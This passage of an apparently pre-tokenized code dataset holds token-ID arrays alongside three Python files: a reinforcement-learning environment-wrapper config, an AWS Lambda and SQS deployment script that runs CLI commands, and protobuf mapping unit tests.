4974,
4464,
297,
6024,
8516,
742,
525,
15695,
742,
525,
15695,
29899,
5425,
742,
525,
15695,
29899,
7187,
29903,
2033,
30004,
13,
4706,
2428,
29898,
20547,
29940,
555,
29892,
1583,
467,
1649,
2344,
1649,
26471,
13,
4706,
1583,
29889,
8513,
353,
4464,
30004,
13,
4706,
1583,
29889,
7052,
353,
6287,
30004,
13,
30004,
13,
4706,
396,
2522,
744,
508,
367,
731,
2729,
373,
1677,
1099,
848,
29892,
322,
884,
278,
1857,
4682,
27497,
22993,
13,
4706,
396,
1334,
5967,
278,
15729,
304,
5434,
29889,
319,
1781,
11565,
591,
1304,
363,
23906,
6287,
29901,
30004,
13,
4706,
396,
518,
29900,
29889,
29896,
29892,
29871,
29896,
29892,
29871,
29896,
29900,
29892,
29871,
29945,
29900,
29892,
29871,
29896,
29900,
29900,
29962,
30004,
13,
30004,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
30004,
13,
4706,
565,
1583,
29889,
8513,
1275,
525,
8516,
2396,
30004,
13,
9651,
736,
921,
30004,
13,
30004,
13,
4706,
784,
29918,
12676,
353,
921,
29889,
12676,
29898,
6229,
29922,
29900,
8443,
13,
4706,
565,
1583,
29889,
8513,
1275,
525,
15695,
2396,
30004,
13,
9651,
921,
353,
921,
448,
784,
29918,
12676,
30004,
13,
9651,
696,
1233,
555,
29918,
12676,
353,
313,
29896,
29872,
29899,
29953,
718,
921,
29889,
12248,
29898,
29906,
467,
2083,
29898,
6229,
29922,
29896,
467,
12676,
16655,
3676,
26471,
13,
9651,
921,
353,
1583,
29889,
7052,
334,
921,
847,
696,
1233,
555,
29918,
12676,
30004,
13,
30004,
13,
4706,
565,
1583,
29889,
8513,
1275,
525,
15695,
29899,
5425,
2396,
30004,
13,
9651,
921,
353,
921,
448,
784,
29918,
12676,
30004,
13,
9651,
696,
1233,
555,
29918,
513,
23352,
353,
313,
29896,
29872,
29899,
29953,
718,
921,
29889,
12248,
29898,
29906,
467,
2083,
29898,
6229,
29922,
29896,
29892,
3013,
6229,
29922,
5574,
8106,
3676,
26471,
13,
9651,
921,
353,
1583,
29889,
7052,
334,
921,
847,
696,
1233,
555,
29918,
513,
23352,
30004,
13,
30004,
13,
4706,
565,
1583,
29889,
8513,
1275,
525,
15695,
29899,
7187,
29903,
2396,
30004,
13,
9651,
696,
1233,
555,
29918,
513,
23352,
353,
313,
29896,
29872,
29899,
29953,
718,
921,
29889,
12248,
29898,
29906,
467,
2083,
29898,
6229,
29922,
29896,
29892,
3013,
6229,
29922,
5574,
8106,
3676,
26471,
13,
9651,
921,
353,
1583,
29889,
7052,
334,
921,
847,
696,
1233,
555,
29918,
513,
23352,
448,
784,
29918,
12676,
30004,
13,
30004,
13,
4706,
736,
921,
30004,
13,
30004,
13,
30004,
13,
1990,
12367,
1168,
4068,
29898,
7355,
1125,
30004,
13,
1678,
9995,
30004,
13,
1678,
12545,
402,
13778,
7546,
29892,
2788,
304,
2045,
597,
279,
26560,
29889,
990,
29914,
6897,
29914,
29896,
29953,
29900,
29929,
29889,
29900,
29906,
29929,
29900,
29955,
30004,
13,
1678,
9995,
30004,
13,
30004,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
297,
29918,
22100,
29892,
714,
29918,
22100,
29892,
24003,
29922,
5574,
29892,
4464,
2433,
8516,
742,
1044,
29922,
2892,
921,
29901,
921,
1125,
30004,
13,
4706,
2428,
29898,
9527,
1168,
4068,
29892,
1583,
467,
1649,
2344,
1649,
26471,
13,
4706,
1583,
29889,
262,
29918,
22100,
353,
297,
29918,
22100,
30004,
13,
4706,
1583,
29889,
449,
29918,
22100,
353,
714,
29918,
22100,
30004,
13,
4706,
1583,
29889,
7915,
353,
24953,
29898,
7345,
305,
29889,
11031,
29911,
6073,
29898,
262,
29918,
22100,
29892,
714,
29918,
22100,
876,
30004,
13,
4706,
1583,
29889,
21257,
353,
349,
1466,
29940,
555,
29898,
8513,
29922,
8513,
8443,
13,
4706,
1583,
29889,
627,
353,
1044,
30004,
13,
4706,
565,
24003,
29901,
30004,
13,
9651,
1583,
29889,
29890,
3173,
353,
24953,
29898,
7345,
305,
29889,
11031,
29911,
6073,
29898,
449,
29918,
22100,
876,
30004,
13,
4706,
1683,
29901,
30004,
13,
9651,
1583,
29889,
9573,
29918,
15501,
877,
29890,
3173,
742,
6213,
8443,
13,
4706,
1583,
29889,
12071,
29918,
16744,
26471,
13,
30004,
13,
1678,
822,
10092,
29918,
16744,
29898,
1311,
1125,
30004,
13,
4706,
3659,
29894,
353,
29871,
29896,
29889,
847,
5844,
29889,
3676,
29898,
1311,
29889,
7915,
29889,
2311,
29898,
29896,
876,
30004,
13,
4706,
1583,
29889,
7915,
29889,
1272,
29889,
29590,
29918,
6278,
4172,
29894,
29892,
3659,
29894,
8443,
13,
4706,
565,
1583,
29889,
29890,
3173,
338,
451,
6213,
29901,
30004,
13,
9651,
1583,
29889,
29890,
3173,
29889,
1272,
29889,
29590,
29918,
6278,
4172,
29894,
29892,
3659,
29894,
8443,
13,
30004,
13,
1678,
822,
6375,
29898,
1311,
29892,
1881,
29892,
12109,
1125,
30004,
13,
4706,
2304,
353,
4842,
305,
29889,
4317,
29898,
2080,
29892,
1583,
29889,
7915,
8443,
13,
4706,
1962,
353,
4842,
305,
29889,
4317,
29898,
26859,
29892,
2304,
8443,
13,
4706,
565,
1583,
29889,
29890,
3173,
338,
451,
6213,
29901,
30004,
13,
9651,
1962,
353,
1962,
718,
1583,
29889,
29890,
3173,
30004,
13,
4706,
736,
1583,
29889,
627,
29898,
1311,
29889,
21257,
29898,
4905,
876,
30004,
13,
30004,
13,
1678,
822,
4770,
276,
558,
12035,
1311,
1125,
30004,
13,
4706,
736,
1583,
17255,
1990,
1649,
17255,
978,
1649,
718,
525,
6702,
320,
30004,
13,
1669,
718,
851,
29898,
1311,
29889,
262,
29918,
22100,
29897,
718,
525,
1599,
525,
320,
30004,
13,
1669,
718,
851,
29898,
1311,
29889,
449,
29918,
22100,
29897,
718,
525,
16029,
30004,
13,
30004,
13,
2
] |
ding/envs/env/default_wrapper.py | jayyoung0802/DI-engine | 1 | 71823 | from easydict import EasyDict
from typing import Optional, List
import copy
final_eval_reward_wrapper = EasyDict(type='final_eval_reward')
def get_default_wrappers(env_wrapper_name: str, env_id: Optional[str] = None) -> List[dict]:
if env_wrapper_name == 'mujoco_default':
return [
EasyDict(type='delay_reward', kwargs=dict(delay_reward_step=3)),
copy.deepcopy(final_eval_reward_wrapper),
]
elif env_wrapper_name == 'atari_default':
wrapper_list = []
wrapper_list.append(EasyDict(type='noop_reset', kwargs=dict(noop_max=30)))
wrapper_list.append(EasyDict(type='max_and_skip', kwargs=dict(skip=4)))
wrapper_list.append(EasyDict(type='episodic_life'))
if env_id is not None:
if 'Pong' in env_id or 'Qbert' in env_id or 'SpaceInvader' in env_id or 'Montezuma' in env_id:
wrapper_list.append(EasyDict(type='fire_reset'))
wrapper_list.append(EasyDict(type='warp_frame'))
wrapper_list.append(EasyDict(type='scaled_float_frame'))
wrapper_list.append(EasyDict(type='clip_reward'))
wrapper_list.append(EasyDict(type='frame_stack', kwargs=dict(n_frames=4)))
wrapper_list.append(copy.deepcopy(final_eval_reward_wrapper))
return wrapper_list
elif env_wrapper_name == 'gym_hybrid_default':
return [
EasyDict(type='gym_hybrid_dict_action'),
copy.deepcopy(final_eval_reward_wrapper),
]
elif env_wrapper_name == 'default':
return [copy.deepcopy(final_eval_reward_wrapper)]
else:
raise NotImplementedError()
| [
1,
515,
2240,
2941,
919,
1053,
382,
8995,
21533,
13,
3166,
19229,
1053,
28379,
29892,
2391,
13,
5215,
3509,
13,
13,
8394,
29918,
14513,
29918,
276,
1328,
29918,
17699,
353,
382,
8995,
21533,
29898,
1853,
2433,
8394,
29918,
14513,
29918,
276,
1328,
1495,
13,
13,
13,
1753,
679,
29918,
4381,
29918,
29893,
336,
22437,
29898,
6272,
29918,
17699,
29918,
978,
29901,
851,
29892,
8829,
29918,
333,
29901,
28379,
29961,
710,
29962,
353,
6213,
29897,
1599,
2391,
29961,
8977,
5387,
13,
1678,
565,
8829,
29918,
17699,
29918,
978,
1275,
525,
2589,
29926,
6235,
29918,
4381,
2396,
13,
4706,
736,
518,
13,
9651,
382,
8995,
21533,
29898,
1853,
2433,
18829,
29918,
276,
1328,
742,
9049,
5085,
29922,
8977,
29898,
18829,
29918,
276,
1328,
29918,
10568,
29922,
29941,
8243,
13,
9651,
3509,
29889,
24535,
8552,
29898,
8394,
29918,
14513,
29918,
276,
1328,
29918,
17699,
511,
13,
4706,
4514,
13,
1678,
25342,
8829,
29918,
17699,
29918,
978,
1275,
525,
271,
1306,
29918,
4381,
2396,
13,
4706,
14476,
29918,
1761,
353,
5159,
13,
4706,
14476,
29918,
1761,
29889,
4397,
29898,
29923,
8995,
21533,
29898,
1853,
2433,
1217,
459,
29918,
12071,
742,
9049,
5085,
29922,
8977,
29898,
1217,
459,
29918,
3317,
29922,
29941,
29900,
4961,
13,
4706,
14476,
29918,
1761,
29889,
4397,
29898,
29923,
8995,
21533,
29898,
1853,
2433,
3317,
29918,
392,
29918,
11014,
742,
9049,
5085,
29922,
8977,
29898,
11014,
29922,
29946,
4961,
13,
4706,
14476,
29918,
1761,
29889,
4397,
29898,
29923,
8995,
21533,
29898,
1853,
2433,
1022,
275,
397,
293,
29918,
19264,
8785,
13,
4706,
565,
8829,
29918,
333,
338,
451,
6213,
29901,
13,
9651,
565,
525,
29925,
549,
29915,
297,
8829,
29918,
333,
470,
525,
29984,
2151,
29915,
297,
8829,
29918,
333,
470,
525,
14936,
12165,
1664,
29915,
297,
8829,
29918,
333,
470,
525,
7185,
371,
29920,
10859,
29915,
297,
8829,
29918,
333,
29901,
13,
18884,
14476,
29918,
1761,
29889,
4397,
29898,
29923,
8995,
21533,
29898,
1853,
2433,
8696,
29918,
12071,
8785,
13,
4706,
14476,
29918,
1761,
29889,
4397,
29898,
29923,
8995,
21533,
29898,
1853,
2433,
4495,
29886,
29918,
2557,
8785,
13,
4706,
14476,
29918,
1761,
29889,
4397,
29898,
29923,
8995,
21533,
29898,
1853,
2433,
7052,
29881,
29918,
7411,
29918,
2557,
8785,
13,
4706,
14476,
29918,
1761,
29889,
4397,
29898,
29923,
8995,
21533,
29898,
1853,
2433,
24049,
29918,
276,
1328,
8785,
13,
4706,
14476,
29918,
1761,
29889,
4397,
29898,
29923,
8995,
21533,
29898,
1853,
2433,
2557,
29918,
1429,
742,
9049,
5085,
29922,
8977,
29898,
29876,
29918,
19935,
29922,
29946,
4961,
13,
4706,
14476,
29918,
1761,
29889,
4397,
29898,
8552,
29889,
24535,
8552,
29898,
8394,
29918,
14513,
29918,
276,
1328,
29918,
17699,
876,
13,
4706,
736,
14476,
29918,
1761,
13,
1678,
25342,
8829,
29918,
17699,
29918,
978,
1275,
525,
29887,
962,
29918,
5819,
19515,
29918,
4381,
2396,
13,
4706,
736,
518,
13,
9651,
382,
8995,
21533,
29898,
1853,
2433,
29887,
962,
29918,
5819,
19515,
29918,
8977,
29918,
2467,
5477,
13,
9651,
3509,
29889,
24535,
8552,
29898,
8394,
29918,
14513,
29918,
276,
1328,
29918,
17699,
511,
13,
4706,
4514,
13,
1678,
25342,
8829,
29918,
17699,
29918,
978,
1275,
525,
4381,
2396,
13,
4706,
736,
518,
8552,
29889,
24535,
8552,
29898,
8394,
29918,
14513,
29918,
276,
1328,
29918,
17699,
4638,
13,
1678,
1683,
29901,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
580,
13,
2
] |
deploy.py | madani301/cpd_aws_rekognition | 0 | 67636 | <reponame>madani301/cpd_aws_rekognition
#!/usr/local/bin/python3
"""
This script was created by <NAME>.
The 'deploy.py' script zips the 'lambda_function.py' and attaches the code to
the function's (cpd-lambda-s1903342) 'lambda_handler' function.
The script uses the subprocess library which allows Python to run CLI commands.
"""
# Import the required libraries
import subprocess
import time
import botocore
import boto3
# Create the lambda resource
client = boto3.client("lambda")
# Checks if the function 'cpd-lambda-s1903342' already exists
try:
lambda_check = client.get_function(FunctionName="cpd-lambda-s1903342")
print(
"\n\033[93m"
+ " ••• LAMBDA FUNCTION 'cpd-lambda-s1903342' ALREADY EXISTS\n"
+ "\033[0m"
)
# Catch the error and create the function
# Zip the 'lambda_function' and extract it in the Lambda function 'cpd-lambda-s1903342'
# Deploy the lambda function
except botocore.exceptions.ClientError as e:
error_code = e.response["Error"]["Code"]
if error_code == "ResourceNotFoundException":
print("\n\033[96m" + " ••• ZIPPING LAMBDA FUNCTION\n" + "\033[0m")
time.sleep(2)
print("\n\033[96m" + " ••• UPLOADING LAMBDA FUNCTION\n")
subprocess.call(["zip", "cpd-lambda-s1903342.zip", "lambda_function.py"])
subprocess.call(
[
"aws",
"lambda",
"create-function",
"--function-name",
"cpd-lambda-s1903342",
"--zip-file",
"fileb://cpd-lambda-s1903342.zip",
"--handler",
"lambda_function.lambda_handler",
"--runtime",
"python3.7",
"--role",
"arn:aws:iam::290644667118:role/service-role/admin",
"--timeout",
"5",
]
)
time.sleep(5)
print(
"\n\033[96m" + " ••• CREATING EVENT SOURCE MAPPING BETWEEN SQS AND LAMBDA\n"
)
# Check if there is an existing event source mapping
# If there are no event source mappings, create one between SQS and Lambda
# If the lambda has not been created yet, print an error message to alert the user
event_source = client.list_event_source_mappings(
FunctionName="cpd-lambda-s1903342",
)
mappings = event_source["EventSourceMappings"]
if len(mappings) == 0:
try:
subprocess.call(
[
"aws",
"lambda",
"create-event-source-mapping",
"--function-name",
"cpd-lambda-s1903342",
"--batch-size",
"10",
# "--maximum-batching-window-in-seconds",
# "65",
"--event-source-arn",
"arn:aws:sqs:eu-west-2:290644667118:cpd-sqs-s1903342",
]
)
time.sleep(5)
except botocore.exceptions.ClientError as e:
error_code = e.response["Error"]["Code"]
if error_code == "InvalidParameterValueException":
print(
"\n\033[93m"
+ " ••• LAMBDA FUNCTION HAS NOT BEEN CREATED YET\n"
+ "\033[0m"
)
else:
uuid = event_source["EventSourceMappings"][0]["UUID"]
print(
"\n\033[93m"
+ " ••• EVENT SOURCE MAPPING EXISTS WITH UUID: "
+ uuid
+ " \n"
+ "\033[0m"
)
| [
1,
529,
276,
1112,
420,
29958,
19581,
3270,
29941,
29900,
29896,
29914,
6814,
29881,
29918,
10467,
29918,
22218,
3811,
654,
13,
29937,
14708,
4855,
29914,
2997,
29914,
2109,
29914,
4691,
29941,
13,
13,
15945,
29908,
13,
13,
4013,
2471,
471,
2825,
491,
529,
5813,
15513,
29871,
13,
13,
1576,
525,
16519,
29889,
2272,
29915,
2471,
503,
4512,
278,
525,
2892,
29918,
2220,
29889,
2272,
29915,
322,
10641,
267,
278,
775,
304,
13,
1552,
740,
29915,
29879,
313,
6814,
29881,
29899,
2892,
29899,
29879,
29896,
29929,
29900,
29941,
29941,
29946,
29906,
29897,
525,
2892,
29918,
13789,
29915,
740,
29889,
13,
13,
1576,
2471,
3913,
278,
1014,
5014,
3489,
607,
6511,
5132,
304,
1065,
24492,
8260,
29889,
29871,
13,
13,
15945,
29908,
13,
29937,
16032,
278,
3734,
9562,
13,
5215,
1014,
5014,
13,
5215,
931,
13,
5215,
9225,
542,
487,
13,
5215,
289,
3747,
29941,
13,
13,
29937,
6204,
278,
14013,
6503,
13,
4645,
353,
289,
3747,
29941,
29889,
4645,
703,
2892,
1159,
13,
13,
29937,
5399,
29879,
565,
278,
740,
525,
6814,
29881,
29899,
2892,
29899,
29879,
29896,
29929,
29900,
29941,
29941,
29946,
29906,
29915,
2307,
4864,
13,
2202,
29901,
13,
1678,
14013,
29918,
3198,
353,
3132,
29889,
657,
29918,
2220,
29898,
6678,
1170,
543,
6814,
29881,
29899,
2892,
29899,
29879,
29896,
29929,
29900,
29941,
29941,
29946,
29906,
1159,
13,
1678,
1596,
29898,
13,
4706,
6634,
29876,
29905,
29900,
29941,
29941,
29961,
29929,
29941,
29885,
29908,
13,
4706,
718,
376,
10266,
30119,
30119,
365,
5194,
29933,
7698,
383,
28700,
525,
6814,
29881,
29899,
2892,
29899,
29879,
29896,
29929,
29900,
29941,
29941,
29946,
29906,
29915,
14445,
16310,
29979,
28731,
29905,
29876,
29908,
13,
4706,
718,
6634,
29900,
29941,
29941,
29961,
29900,
29885,
29908,
13,
1678,
1723,
13,
13,
29937,
315,
905,
278,
1059,
322,
1653,
278,
740,
13,
29937,
796,
666,
278,
525,
2892,
29918,
2220,
29915,
322,
6597,
372,
297,
278,
365,
2269,
740,
525,
6814,
29881,
29899,
2892,
29899,
29879,
29896,
29929,
29900,
29941,
29941,
29946,
29906,
29915,
13,
29937,
10034,
2376,
278,
14013,
740,
13,
19499,
9225,
542,
487,
29889,
11739,
29879,
29889,
4032,
2392,
408,
321,
29901,
13,
1678,
1059,
29918,
401,
353,
321,
29889,
5327,
3366,
2392,
3108,
3366,
3399,
3108,
13,
1678,
565,
1059,
29918,
401,
1275,
376,
6848,
17413,
2451,
1115,
13,
4706,
1596,
14182,
29876,
29905,
29900,
29941,
29941,
29961,
29929,
29953,
29885,
29908,
718,
376,
10266,
30119,
30119,
796,
5690,
29925,
4214,
365,
5194,
29933,
7698,
383,
28700,
29905,
29876,
29908,
718,
6634,
29900,
29941,
29941,
29961,
29900,
29885,
1159,
13,
4706,
931,
29889,
17059,
29898,
29906,
29897,
13,
4706,
1596,
14182,
29876,
29905,
29900,
29941,
29941,
29961,
29929,
29953,
29885,
29908,
718,
376,
10266,
30119,
30119,
11901,
29428,
4214,
365,
5194,
29933,
7698,
383,
28700,
29905,
29876,
1159,
13,
4706,
1014,
5014,
29889,
4804,
29898,
3366,
7554,
613,
376,
6814,
29881,
29899,
2892,
29899,
29879,
29896,
29929,
29900,
29941,
29941,
29946,
29906,
29889,
7554,
613,
376,
2892,
29918,
2220,
29889,
2272,
20068,
13,
4706,
1014,
5014,
29889,
4804,
29898,
13,
9651,
518,
13,
18884,
376,
10467,
613,
13,
18884,
376,
2892,
613,
13,
18884,
376,
3258,
29899,
2220,
613,
13,
18884,
376,
489,
2220,
29899,
978,
613,
13,
18884,
376,
6814,
29881,
29899,
2892,
29899,
29879,
29896,
29929,
29900,
29941,
29941,
29946,
29906,
613,
13,
18884,
376,
489,
7554,
29899,
1445,
613,
13,
18884,
376,
1445,
29890,
597,
6814,
29881,
29899,
2892,
29899,
29879,
29896,
29929,
29900,
29941,
29941,
29946,
29906,
29889,
7554,
613,
13,
18884,
376,
489,
13789,
613,
13,
18884,
376,
2892,
29918,
2220,
29889,
2892,
29918,
13789,
613,
13,
18884,
376,
489,
15634,
613,
13,
18884,
376,
4691,
29941,
29889,
29955,
613,
13,
18884,
376,
489,
12154,
613,
13,
18884,
376,
2753,
29901,
10467,
29901,
2829,
1057,
29906,
29929,
29900,
29953,
29946,
29946,
29953,
29953,
29955,
29896,
29896,
29947,
29901,
12154,
29914,
5509,
29899,
12154,
29914,
6406,
613,
13,
18884,
376,
489,
15619,
613,
13,
18884,
376,
29945,
613,
13,
9651,
4514,
13,
4706,
1723,
13,
4706,
931,
29889,
17059,
29898,
29945,
29897,
13,
13,
4706,
1596,
29898,
13,
9651,
6634,
29876,
29905,
29900,
29941,
29941,
29961,
29929,
29953,
29885,
29908,
718,
376,
10266,
30119,
30119,
315,
1525,
1299,
4214,
382,
29963,
3919,
7791,
4574,
4741,
341,
20576,
4214,
350,
2544,
8851,
1430,
317,
29984,
29903,
5300,
365,
5194,
29933,
7698,
29905,
29876,
29908,
13,
4706,
1723,
13,
13,
4706,
396,
5399,
565,
727,
338,
385,
5923,
1741,
2752,
10417,
13,
4706,
396,
960,
727,
526,
694,
1741,
2752,
611,
27775,
29892,
1653,
697,
1546,
317,
29984,
29903,
322,
365,
2269,
13,
4706,
396,
960,
278,
14013,
756,
451,
1063,
2825,
3447,
29892,
1596,
385,
1059,
2643,
304,
6655,
278,
1404,
13,
4706,
1741,
29918,
4993,
353,
3132,
29889,
1761,
29918,
3696,
29918,
4993,
29918,
655,
27775,
29898,
13,
9651,
6680,
1170,
543,
6814,
29881,
29899,
2892,
29899,
29879,
29896,
29929,
29900,
29941,
29941,
29946,
29906,
613,
13,
4706,
1723,
13,
4706,
611,
27775,
353,
1741,
29918,
4993,
3366,
2624,
4435,
9689,
886,
3108,
13,
13,
4706,
565,
7431,
29898,
655,
27775,
29897,
1275,
29871,
29900,
29901,
13,
9651,
1018,
29901,
13,
18884,
1014,
5014,
29889,
4804,
29898,
13,
462,
1678,
518,
13,
462,
4706,
376,
10467,
613,
13,
462,
4706,
376,
2892,
613,
13,
462,
4706,
376,
3258,
29899,
3696,
29899,
4993,
29899,
20698,
613,
13,
462,
4706,
376,
489,
2220,
29899,
978,
613,
13,
462,
4706,
376,
6814,
29881,
29899,
2892,
29899,
29879,
29896,
29929,
29900,
29941,
29941,
29946,
29906,
613,
13,
462,
4706,
376,
489,
16175,
29899,
2311,
613,
13,
462,
4706,
376,
29896,
29900,
613,
13,
462,
4706,
396,
376,
489,
27525,
398,
29899,
16175,
292,
29899,
7165,
29899,
262,
29899,
23128,
613,
13,
462,
4706,
396,
376,
29953,
29945,
613,
13,
462,
4706,
376,
489,
3696,
29899,
4993,
29899,
2753,
613,
13,
462,
4706,
376,
2753,
29901,
10467,
29901,
3044,
29879,
29901,
12932,
29899,
5933,
29899,
29906,
29901,
29906,
29929,
29900,
29953,
29946,
29946,
29953,
29953,
29955,
29896,
29896,
29947,
29901,
6814,
29881,
29899,
3044,
29879,
29899,
29879,
29896,
29929,
29900,
29941,
29941,
29946,
29906,
613,
13,
462,
1678,
4514,
13,
18884,
1723,
13,
18884,
931,
29889,
17059,
29898,
29945,
29897,
13,
13,
9651,
5174,
9225,
542,
487,
29889,
11739,
29879,
29889,
4032,
2392,
408,
321,
29901,
13,
18884,
1059,
29918,
401,
353,
321,
29889,
5327,
3366,
2392,
3108,
3366,
3399,
3108,
13,
13,
18884,
565,
1059,
29918,
401,
1275,
376,
13919,
9329,
1917,
2451,
1115,
13,
462,
1678,
1596,
29898,
13,
462,
4706,
6634,
29876,
29905,
29900,
29941,
29941,
29961,
29929,
29941,
29885,
29908,
13,
462,
4706,
718,
376,
10266,
30119,
30119,
365,
5194,
29933,
7698,
383,
28700,
379,
3289,
6058,
20700,
1430,
14602,
29928,
612,
2544,
29905,
29876,
29908,
13,
462,
4706,
718,
6634,
29900,
29941,
29941,
29961,
29900,
29885,
29908,
13,
462,
1678,
1723,
13,
13,
18884,
1683,
29901,
13,
462,
1678,
318,
5416,
353,
1741,
29918,
4993,
3366,
2624,
4435,
9689,
886,
3108,
29961,
29900,
29962,
3366,
29965,
11150,
3108,
13,
462,
1678,
1596,
29898,
13,
462,
4706,
6634,
29876,
29905,
29900,
29941,
29941,
29961,
29929,
29941,
29885,
29908,
13,
462,
4706,
718,
376,
10266,
30119,
30119,
382,
29963,
3919,
7791,
4574,
4741,
341,
20576,
4214,
28731,
22659,
501,
11150,
29901,
376,
13,
462,
4706,
718,
318,
5416,
13,
462,
4706,
718,
376,
320,
29876,
29908,
13,
462,
4706,
718,
6634,
29900,
29941,
29941,
29961,
29900,
29885,
29908,
13,
462,
1678,
1723,
13,
2
] |
tests/functional/test_dicts_to_proto.py | nitoqq/mercator | 17 | 122980 | <filename>tests/functional/test_dicts_to_proto.py
# -*- coding: utf-8 -*-
from .mappings import (
UserMapping,
AuthRequestMapping,
AuthResponseMapping,
)
from . import domain_pb2
def test_mapping_simple_1to1_from_dict():
("ProtoMapping should be smart enough to infer fields "
"from protobuf and extract data from a dictionary")
# Given a dict with user data
info = {
'login': 'Hulk',
'email': '<EMAIL>',
'tokens': [
{
'data': 'this is the token',
'created_at': 1552240433,
'expires_at': 1552240733,
}
],
# 'extra_info': {
# 'just': 'some',
# 'arbitrary': 'json data',
# }
}
# When I convert to protobuf
user = UserMapping(info).to_protobuf()
# Then it should return an instance of my protobuf type
user.should.be.an(domain_pb2.User)
user.should.have.property('username').being.equal('Hulk')
user.should.have.property('email').being.equal('<EMAIL>')
user.should.have.property('tokens').being.length_of(1)
user.should.have.property('metadata')
def test_mapping_specific_fields():
("ProtoMapping should rename specified ProtoKey fields")
# Given a dict with auth request data
request = {
'username': 'Hulk',
'password': '<PASSWORD>',
}
# When I convert to protobuf
data = AuthRequestMapping(request).to_protobuf()
# Then it should have returned a protobuf
data.should.be.an(domain_pb2.AuthRequest)
# And it should have mapped the specific field appropriately
data.should.have.property('username').being.equal('Hulk')
data.should.have.property('password').being.equal('<PASSWORD>')
def test_mapping_of_mappings():
("ProtoMapping should use support nested mappings for nested dict data")
# Given a full dictionary with auth response data
token_data = {
'token': {
'data': '<PASSWORD> the token',
'created_at': 1552240433,
'expires_at': 1552240733,
}
}
# When I convert to protobuf
data = AuthResponseMapping(token_data).to_protobuf()
# Then it should have its opaque properties
data.should.have.property('token')
data.token.should.have.property('value').being.equal('this is the token')
| [
1,
529,
9507,
29958,
21150,
29914,
2220,
284,
29914,
1688,
29918,
8977,
29879,
29918,
517,
29918,
17529,
29889,
2272,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
3166,
869,
655,
27775,
1053,
313,
13,
1678,
4911,
15845,
29892,
13,
1678,
13189,
3089,
15845,
29892,
13,
1678,
13189,
5103,
15845,
29892,
13,
29897,
13,
13,
3166,
869,
1053,
5354,
29918,
24381,
29906,
13,
13,
13,
1753,
1243,
29918,
20698,
29918,
12857,
29918,
29896,
517,
29896,
29918,
3166,
29918,
8977,
7295,
13,
1678,
4852,
1184,
517,
15845,
881,
367,
15040,
3307,
304,
10115,
4235,
376,
13,
268,
376,
3166,
17814,
9721,
322,
6597,
848,
515,
263,
8600,
1159,
13,
1678,
396,
11221,
263,
9657,
411,
1404,
848,
13,
1678,
5235,
353,
426,
13,
4706,
525,
7507,
2396,
525,
29950,
24456,
742,
13,
4706,
525,
5269,
2396,
12801,
26862,
6227,
29958,
742,
13,
4706,
525,
517,
12360,
2396,
518,
13,
9651,
426,
13,
18884,
525,
1272,
2396,
525,
1366,
338,
278,
5993,
742,
13,
18884,
525,
11600,
29918,
271,
2396,
29871,
29896,
29945,
29945,
29906,
29906,
29946,
29900,
29946,
29941,
29941,
29892,
13,
18884,
525,
4548,
2658,
29918,
271,
2396,
29871,
29896,
29945,
29945,
29906,
29906,
29946,
29900,
29955,
29941,
29941,
29892,
13,
9651,
500,
13,
4706,
21251,
13,
4706,
396,
525,
17833,
29918,
3888,
2396,
426,
13,
4706,
396,
268,
525,
5143,
2396,
525,
5372,
742,
13,
4706,
396,
268,
525,
279,
8844,
653,
2396,
525,
3126,
848,
742,
13,
4706,
396,
500,
13,
1678,
500,
13,
13,
1678,
396,
1932,
306,
3588,
304,
17814,
9721,
13,
1678,
1404,
353,
4911,
15845,
29898,
3888,
467,
517,
29918,
17529,
9721,
580,
13,
13,
1678,
396,
1987,
372,
881,
736,
385,
2777,
310,
590,
17814,
9721,
1134,
13,
1678,
1404,
29889,
9344,
29889,
915,
29889,
273,
29898,
7247,
29918,
24381,
29906,
29889,
2659,
29897,
13,
1678,
1404,
29889,
9344,
29889,
17532,
29889,
6799,
877,
6786,
2824,
915,
292,
29889,
11745,
877,
29950,
24456,
1495,
13,
1678,
1404,
29889,
9344,
29889,
17532,
29889,
6799,
877,
5269,
2824,
915,
292,
29889,
11745,
877,
29966,
26862,
6227,
29958,
1495,
13,
1678,
1404,
29889,
9344,
29889,
17532,
29889,
6799,
877,
517,
12360,
2824,
915,
292,
29889,
2848,
29918,
974,
29898,
29896,
29897,
13,
1678,
1404,
29889,
9344,
29889,
17532,
29889,
6799,
877,
19635,
1495,
13,
13,
13,
1753,
1243,
29918,
20698,
29918,
14940,
29918,
9621,
7295,
13,
1678,
4852,
1184,
517,
15845,
881,
19508,
6790,
1019,
517,
2558,
4235,
1159,
13,
13,
1678,
396,
11221,
263,
9657,
411,
4817,
2009,
848,
13,
1678,
2009,
353,
426,
13,
4706,
525,
6786,
2396,
525,
29950,
24456,
742,
13,
4706,
525,
5630,
2396,
12801,
25711,
17013,
29958,
742,
13,
1678,
500,
13,
13,
1678,
396,
1932,
306,
3588,
304,
17814,
9721,
13,
1678,
848,
353,
13189,
3089,
15845,
29898,
3827,
467,
517,
29918,
17529,
9721,
580,
13,
13,
1678,
396,
1987,
372,
881,
505,
4133,
263,
17814,
9721,
13,
1678,
848,
29889,
9344,
29889,
915,
29889,
273,
29898,
7247,
29918,
24381,
29906,
29889,
6444,
3089,
29897,
13,
13,
1678,
396,
1126,
372,
881,
505,
20545,
278,
2702,
1746,
7128,
2486,
13,
1678,
848,
29889,
9344,
29889,
17532,
29889,
6799,
877,
6786,
2824,
915,
292,
29889,
11745,
877,
29950,
24456,
1495,
13,
1678,
848,
29889,
9344,
29889,
17532,
29889,
6799,
877,
5630,
2824,
915,
292,
29889,
11745,
877,
29966,
25711,
17013,
29958,
1495,
13,
13,
13,
1753,
1243,
29918,
20698,
29918,
974,
29918,
655,
27775,
7295,
13,
1678,
4852,
1184,
517,
15845,
881,
671,
2304,
9322,
611,
27775,
363,
9322,
9657,
848,
1159,
13,
13,
1678,
396,
11221,
263,
2989,
8600,
411,
4817,
2933,
848,
13,
1678,
5993,
29918,
1272,
353,
426,
13,
4706,
525,
6979,
2396,
426,
13,
9651,
525,
1272,
2396,
12801,
25711,
17013,
29958,
278,
5993,
742,
13,
9651,
525,
11600,
29918,
271,
2396,
29871,
29896,
29945,
29945,
29906,
29906,
29946,
29900,
29946,
29941,
29941,
29892,
13,
9651,
525,
4548,
2658,
29918,
271,
2396,
29871,
29896,
29945,
29945,
29906,
29906,
29946,
29900,
29955,
29941,
29941,
29892,
13,
4706,
500,
13,
1678,
500,
13,
13,
